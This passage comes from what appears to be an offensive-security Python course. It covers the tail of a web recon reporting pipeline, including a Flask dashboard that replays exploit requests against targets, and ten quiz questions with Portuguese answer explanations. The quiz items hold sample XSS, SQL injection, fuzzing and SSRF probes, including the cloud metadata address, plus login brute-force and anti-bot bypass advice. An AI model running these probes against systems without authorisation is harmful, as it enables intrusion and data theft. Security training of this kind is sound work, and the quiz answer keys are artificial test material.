path_html = pathlib.Path("reports")/f"web_daily-{TODAY}.html"
path_html.write_text(html)
print("[+] HTML:", path_html)
```

`templates/report.html.j2` ships with simple Bootstrap table:

```
<!DOCTYPE html><html><head>
<link rel="stylesheet"
 href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css">
<title>Web report — {{ date }}</title>
</head><body class="p-4">
<h1>Daily Web Report <small class="text-muted">{{ date }}</small></h1>
<p>Total critical findings: {{ total }}</p>
```

```
<table class="table table-sm table-bordered">
<thead><tr>
 <th>Risk</th><th>URL</th><th>Tech</th><th>Vuln</th><th>Proof</th><th>Loot</th>
</tr></thead><tbody>
{% for r in rows %}
<tr class="{{ 'table-danger' if r.risk>=6 else 'table-warning' if r.risk>=4 else '' }}">
 <td>{{ r.risk }}</td>
 <td style="word-break:break-all">{{ r.url }}</td>
 <td>{{ r.tech }}</td>
 <td>{{ r.vuln }}</td>
 <td>{{ (r.proof or '')[:60] }}</td>
 <td>{{ r.loot_type or '' }}</td>
</tr>{% endfor %}
</tbody></table>
</body></html>
```

7.5.3 Slack notifier (`slack.py`)

```
#!/usr/bin/env python3
import os, sqlite3, requests, datetime, json
WEBHOOK=os.environ["SLACK_WEBHOOK"]
db=sqlite3.connect("recon.db")
crit=db.execute("SELECT url,vuln,proof FROM web_vuln "
                "WHERE ts>strftime('%s','now','-1 hour')").fetchall()
if crit:
    txt="*New high-critical web findings — {:%H:%MZ}*\n".format(datetime.datetime.utcnow())
    for u,v,_ in crit[:10]:
        txt+=f"• `{v}` — <{u}>\n"
    requests.post(WEBHOOK,json={"text":txt})
```

Set `SLACK_WEBHOOK` in CI variables; every hour the cron job posts new high-critical rows.

7.5.4 Flask operator dashboard (`dash.py` – 120 LoC)

```
#!/usr/bin/env python3
from flask import Flask, render_template_string, request
import pandas as pd, sqlite3, urllib.parse
DB=sqlite3.connect("recon.db",check_same_thread=False)

HTML="""<!doctype html><title>WebDash</title>
<link rel="stylesheet"
 href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css">
<div class="container p-4">
<h3>WebDash — {{ rows|length }} rows (risk ≥ {{ rmin }})</h3>
<table class="table table-hover table-sm">
<tr><th>Risk</th><th>URL</th><th>Reasons</th><th>PoC</th></tr>
{% for r in rows %}
<tr class="{{ 'table-danger' if r.risk>=6 else 'table-warning' if r.risk>=4 else '' }}">
 <td>{{ r.risk }}</td>
 <td><a href="{{ r.url }}" target="_blank">{{ r.url|truncate(60,True) }}</a></td>
 <td>{{ r.reasons }}</td>
 <td>
 {% if r.vuln %}
  <code>{{ r.vuln }}</code>
  {% if r.vuln.startswith('CVE-') %}
   <a class="btn btn-sm btn-outline-primary"
      href="/replay?url={{ r.url|urlencode }}&vuln={{ r.vuln }}">Replay</a>
  {% endif %}
 {% endif %}
 </td>
</tr>{% endfor %}
```

```
</table></div>"""

app=Flask(__name__)
@app.route("/")
def idx():
    rmin=int(request.args.get("risk",3))
    df=pd.read_sql("""SELECT w.url,risk,reasons,vuln
                      FROM web_risk w LEFT JOIN web_vuln v USING(url)
                      WHERE risk>=? ORDER BY risk DESC""", DB, params=(rmin,))
    return render_template_string(HTML, rows=df.to_dict("records"), rmin=rmin)

@app.route("/replay")
def replay():
    url=request.args["url"]; vuln=request.args["vuln"]
    # load wrapper from exploit_rules.yaml
    import yaml, httpx
    rule=yaml.safe_load(open("exploit_rules.yaml"))[vuln]
    req=rule["req"]; full=urllib.parse.urljoin(url,req["path"])
    r=httpx.request(req["method"], full, timeout=8, verify=False)
    return f"<pre>{r.status_code}\n\n{r.text[:2000]}</pre>"

if __name__=="__main__":
    app.run(debug=False)
```

Run locally:

```
python dash.py &
xdg-open http://127.0.0.1:5000/?risk=4
```

Operators can click **Replay** and instantly verify PoCs.

7.5.5 CI Integration (`.gitlab-ci.yml` excerpt)

```yaml
report:
  stage: report
  script:
    - python report.py --top 200
  artifacts:
    paths:
      - reports/web_daily-*.html
      - reports/findings-*.json
    expire_in: 7 days
  when: always

notify:
  stage: report
  script: python slack.py
  when: on_success
```

Artifacts keep static copies for seven days; HTML opens directly in GitLab.

7.5.6 Exercises

#	Task	Hint
1	Add “Download CSV” button to Flask dash.	df.to_csv() + send_file
2	Push JSON into **Neo4j** and visualise vulnerable paths with GraphQL Browser.	py2neo
3	Embed *tiny* screenshot (Playwright) per URL row in HTML report.	page.screenshot() base64
4	Build Jenkins pipeline instead of GitLab; use archiveArtifacts.	Jenkinsfile syntax

#	Task	Hint
5	Add **email PDF** attachment: convert HTML via weasyprint.	pip install weasyprint

---

7.5.7 Completion Checklist

- `reports/web_daily-YYYY-MM-DD.html` generated each run.
- Slack / Teams alerts fire when new critical vulns land in `web_vuln`.
- Flask dashboard live-filters by risk and replays PoCs.
- JSON export present; size ≈ rows × fields.
- CI stores HTML & JSON artefacts; retention matches policy.

1. Which library is ideal to perform login brute-force on web forms?

- A) telnetlib
- B) ssl
- C) requests
- D) shutil

✅ **Resposta correta: C) requests**

Explicação

A biblioteca **requests** é a mais utilizada em Python para **interagir com aplicações web via HTTP/HTTPS**.

Ela permite:

- enviar **GET / POST requests**
- manipular **cookies**
- enviar **form-data**
- manter **sessões**
- automatizar login em **web forms**

Isso a torna ideal para **testes de segurança em formulários web**, como verificação de autenticação.

Exemplo conceitual

```
import requests

url = "https://example.com/login"
data = {
    "username": "admin",
    "password": "password123"
}

response = requests.post(url, data=data)
print(response.status_code)
```

Por que as outras opções estão erradas?

- **A) telnetlib** ❌ Usado para conexões Telnet.
- **B) ssl** ❌ Manipula criptografia TLS/SSL, não faz requisições HTTP.
- **D) shutil** ❌ Biblioteca para operações de arquivos.

✅ **Resposta final: C) requests**

2. How do you maintain session persistence with requests?

- A) Use json.dump()
- B) Use requests.Session()
- C) Use open()
- D) Use cookies.txt

✅ **Resposta correta: B) requests.Session()**

Explicação

A classe **requests.Session()** permite **manter uma sessão HTTP persistente**, reutilizando:

- **cookies**
- **headers**
- **conexões TCP**
- **estado de autenticação**

Isso é essencial quando um site usa **session cookies após login**.

Exemplo

```
import requests

session = requests.Session()

login_data = {
    "username": "admin",
    "password": "123456"
}
```

```
session.post("https://site.com/login", data=login_data)

response = session.get("https://site.com/dashboard")
print(response.text)
```

Nesse caso:

1. O login define um **cookie de sessão**
2. A sessão mantém esse cookie automaticamente
3. As requisições seguintes permanecem autenticadas

Por que as outras opções estão erradas?

- **A) json.dump()** ❌ Apenas grava JSON em arquivo.
- **C) open()** ❌ Abre arquivos locais.
- **D) cookies.txt** ❌ Não é um mecanismo da biblioteca requests.

✅ **Resposta final: B) requests.Session()**

3. How to detect reflected XSS in response using Python?

- ◯ A) Check if input string appears in response.text
- ◯ B) Catch 302
- ◯ C) Regex on headers
- ◯ D) Use urlopen()

✅ **Resposta correta: A) Check if input string appears in response.text**

Explicação

Uma forma básica de detectar **Reflected XSS** é verificar se o **payload enviado aparece refletido na resposta HTML** da aplicação.

Fluxo típico:

1️⃣ enviar um payload (ex:)

2️⃣ receber a resposta do servidor

3️⃣ verificar se o payload aparece no conteúdo retornado

Se aparecer **sem sanitização**, pode indicar XSS refletido.

Exemplo conceitual em Python

```
import requests

payload = "<script>alert(1)</script>"
url = "https://site.com/search?q=" + payload

response = requests.get(url)

if payload in response.text:
    print("Possible Reflected XSS detected")
```

Por que as outras opções estão erradas?

- **B) Catch 302** ❌ Código de redirecionamento HTTP não indica XSS.
- **C) Regex on headers** ❌ XSS geralmente aparece no **body HTML**, não nos headers.
- **D) urlopen()** ❌ Apenas faz a requisição, não detecta XSS.

✅ **Resposta final: A) Check if input string appears in response.text**

4. What's the use of BeautifulSoup(response.text, 'html.parser')?

- ◯ A) Encrypt input
- ◯ B) Parse and extract HTML data
- ◯ C) Start listener
- ◯ D) Encode shellcode

✅ **Resposta correta: B) Parse and extract HTML data**

Explicação

A biblioteca **BeautifulSoup** é usada para **analisar (parse) documentos HTML ou XML** e facilitar a extração de informações da página.

Quando usamos:

```
BeautifulSoup(response.text, "html.parser")
```

o que acontece:

1️⃣ response.text → contém o **HTML retornado pelo servidor**

2️⃣ "html.parser" → define o **parser usado para interpretar o HTML**

3️⃣ BeautifulSoup transforma o HTML em uma **estrutura navegável**

Exemplo

```
import requests
from bs4 import BeautifulSoup

response = requests.get("https://example.com")

soup = BeautifulSoup(response.text, "html.parser")

for link in soup.find_all("a"):
    print(link.get("href"))
```

Esse código permite:

- extrair **links**
- encontrar **formulários**
- localizar **inputs**
- analisar **estrutura da página**

Uso comum em segurança ofensiva

BeautifulSoup é frequentemente usado para:

- **mapear formulários**
- extrair **CSRF tokens**
- coletar **links para crawling**
- automatizar **recon web**

Por que as outras opções estão erradas?

- **A) Encrypt input** ❌ BeautifulSoup não faz criptografia.
- **C) Start listener** ❌ Não abre sockets ou servidores.
- **D) Encode shellcode** ❌ Não tem relação com payloads binários.

✅ **Resposta final: B) Parse and extract HTML data**

5. What technique automates testing multiple parameters in URLs?

- ◯ A) Parameter fuzzing
- ◯ B) Login brute-force
- ◯ C) Header reflection
- ◯ D) Input validation

✅ **Resposta correta: A) Parameter fuzzing**

Explicação

Parameter fuzzing é uma técnica usada em testes de segurança para **automatizar o envio de diferentes valores ou parâmetros em URLs** com o objetivo de:

- descobrir **parâmetros ocultos**
- identificar **falhas de validação**
- encontrar **vulnerabilidades como XSS, SQLi, IDOR, etc.**

Exemplo conceitual

URL original:

```
https://site.com/page?id=1
```

Durante fuzzing, várias variações podem ser testadas:

```
?id=1
?id=2
?id=' OR 1=1--
?id=<script>alert(1)</script>
?debug=true
?admin=1
```

Ferramentas ou scripts automatizam essas variações.

Exemplo simples em Python

```
import requests

url = "https://site.com/page?id="

payloads = ["1", "2", "' OR 1=1--", "<script>alert(1)</script>"]

for p in payloads:
    r = requests.get(url + p)
    print(p, r.status_code)
```

Por que as outras opções estão erradas?

- **B) Login brute-force** ❌ Testa credenciais, não parâmetros de URL.
- **C) Header reflection** ❌ Refere-se a refletir headers HTTP.
- **D) Input validation** ❌ É uma prática defensiva, não técnica de teste automatizado.

✅ **Resposta final: A) Parameter fuzzing**

6. What is the result of requests.get("http://target/page.php?id=1'")?

- A) SQLi test
- B) CSRF token send
- C) FTP injection
- D) SSRF attack

✅ **Resposta correta: A) SQLi test**

Explicação

A requisição:

```
requests.get("http://target/page.php?id=1")
```

envia um **HTTP GET** para uma página que utiliza um **parâmetro id na URL**.

Endpoints como:

```
page.php?id=1
```

são **clássicos pontos de teste para SQL Injection**, porque frequentemente são usados em queries do tipo:

```
SELECT * FROM products WHERE id = 1
```

Durante testes de segurança, o próximo passo normalmente seria tentar payloads como:

```
?id=1'
?id=1 OR 1=1
?id=1 UNION SELECT ...
```

Portanto, essa requisição inicial é **uma chamada típica usada para testar SQLi**.

Por que as outras opções estão erradas?

- **B) CSRF token send** ❌ Não há token nem envio de formulário.
- **C) FTP injection** ❌ Não envolve protocolo FTP.
- **D) SSRF attack** ❌ SSRF ocorre quando **o servidor faz a requisição**, não o cliente.

✅ **Resposta final: A) SQLi test**

7. How can you test for SSRF in Python?

- A) Send internal IPs in the URL and monitor response
- B) ICMP ping
- C) Hash input
- D) Use dns.resolver

✅ **Resposta correta: A) Send internal IPs in the URL and monitor response**

Explicação

Para testar **SSRF (Server-Side Request Forgery)**, a técnica comum é tentar fazer o **servidor alvo acessar recursos internos**.

Isso é feito enviando URLs que apontam para **endereços internos ou sensíveis**, como:

- 127.0.0.1
- localhost
- 169.254.169.254 (metadata cloud)
- 10.x.x.x
- 192.168.x.x

Depois, você analisa a **resposta do servidor** para ver se ele conseguiu acessar esses recursos.

Exemplo conceitual em Python

```
import requests

url = "http://target.com/fetch?url=http://127.0.0.1"

response = requests.get(url)

print(response.text)
```

Se o servidor retornar dados do serviço interno, pode indicar **SSRF**.

Por que as outras opções estão erradas?

- **B) ICMP ping** ❌ Não testa SSRF em aplicações web.
- **C) Hash input** ❌ Não tem relação com SSRF.
- **D) dns.resolver** ❌ Usado para resolução DNS, não para testar SSRF diretamente.

✅ **Resposta final: A) Send internal IPs in the URL and monitor response**

8. What's a good way to detect broken access control in Python?

- ◯ A) Capture X-Frame-Options
- ◯ B) Try accessing unauthorized resources after login
- ◯ C) Parse CSP headers
- ◯ D) Run whoami

✅ **Resposta correta: B) Try accessing unauthorized resources after login**

Explicação

Broken Access Control ocorre quando um usuário consegue acessar recursos ou ações **que deveriam ser restritos**.

Uma forma comum de detectar isso é:

1️⃣ autenticar como um usuário normal

2️⃣ tentar acessar **recursos que pertencem a outro usuário ou nível de privilégio**

3️⃣ verificar se o servidor permite o acesso indevido

Isso inclui testar:

- **IDOR (Insecure Direct Object Reference)**
- endpoints administrativos
- alteração de IDs em parâmetros
- acesso direto a URLs restritas

Exemplo conceitual em Python

```python
import requests

session = requests.Session()

# login como usuário normal
session.post("https://site.com/login", data={
    "username": "user",
    "password": "123"
})

# tentar acessar recurso administrativo
r = session.get("https://site.com/admin")

print(r.status_code)
```

Se o acesso for permitido, pode indicar **Broken Access Control**.

Por que as outras opções estão erradas?

- **A) Capture X-Frame-Options** ❌ Relacionado a **clickjacking**, não a controle de acesso.
- **C) Parse CSP headers** ❌ CSP trata de **proteção contra XSS**.
- **D) Run whoami** ❌ Comando local de sistema.

✅ **Resposta final: B) Try accessing unauthorized resources after login**

9. How do you bypass basic anti-bot JS protections in Python scraping?

- ◯ A) Use Selenium or headless browsers
- ◯ B) Use gzip
- ◯ C) Use platform.system()
- ◯ D) Use wget

✅ **Resposta correta: A) Use Selenium or headless browsers**

Explicação

Muitos sites usam **proteções anti-bot baseadas em JavaScript**, como:

- geração de cookies via JS
- desafios JS (ex: Cloudflare JS challenge)
- verificação de comportamento do navegador
- renderização dinâmica de conteúdo

A biblioteca **requests** não executa JavaScript. Por isso, para contornar essas proteções em testes automatizados, usa-se **navegadores automatizados** como:

- **Selenium**
- **Playwright**
- **Puppeteer**
- navegadores **headless (Chrome/Firefox)**

Esses navegadores **executam JavaScript como um browser real**, permitindo passar por essas verificações.

Exemplo conceitual com Selenium

```
from selenium import webdriver

driver = webdriver.Chrome()

driver.get("https://site.com")

html = driver.page_source
print(html)
```

Nesse caso:

1️⃣ o navegador executa JavaScript

2️⃣ cookies e tokens são gerados

3️⃣ o conteúdo final pode ser coletado

Por que as outras opções estão erradas?

- **B) Use gzip** ❌ Apenas compressão de dados HTTP.
- **C) platform.system()** ❌ Apenas retorna o sistema operacional.
- **D) wget** ❌ Não executa JavaScript.

✅ **Resposta final: A) Use Selenium or headless browsers**

```
payload = {'username': 'admin', 'password': 'admin'}
r = requests.post(url, data=payload)
```

10. What does the following do?

- A) Launches DoS
- B) Exploits buffer overflow
- C) Encrypts the payload
- D) Sends login data to a web form

✅ **Resposta correta: D) Sends login data to a web form**

Explicação

O código mostrado:

```
payload = {'username': 'admin', 'password': 'admin'}
r = requests.post(url, data=payload)
```

faz o seguinte:

1️⃣ cria um **dicionário com credenciais** (username e password)

2️⃣ envia essas credenciais usando **HTTP POST** para um **endpoint web (url)**

3️⃣ o servidor recebe os dados como **form-data**, exatamente como um formulário de login faria.

Isso é equivalente a preencher um formulário web e clicar em **Login**.

Fluxo típico

```
Script Python
     ↓
requests.post()
     ↓
HTTP POST /login
     ↓
username=admin&password=admin
     ↓
Servidor processa autenticação
```

Exemplo de resposta

```
print(r.status_code)
print(r.text)
```

Isso permitiria verificar:

- sucesso no login
- erro de autenticação
- redirecionamento

Por que as outras opções estão erradas?

- **A) Launches DoS** ❌ Apenas envia **uma requisição POST**.
- **B) Exploits buffer overflow** ❌ Não envolve manipulação de memória.
- **C) Encrypts the payload** ❌ Nenhuma criptografia é aplicada.

✅ **Resposta final: D) Sends login data to a web form**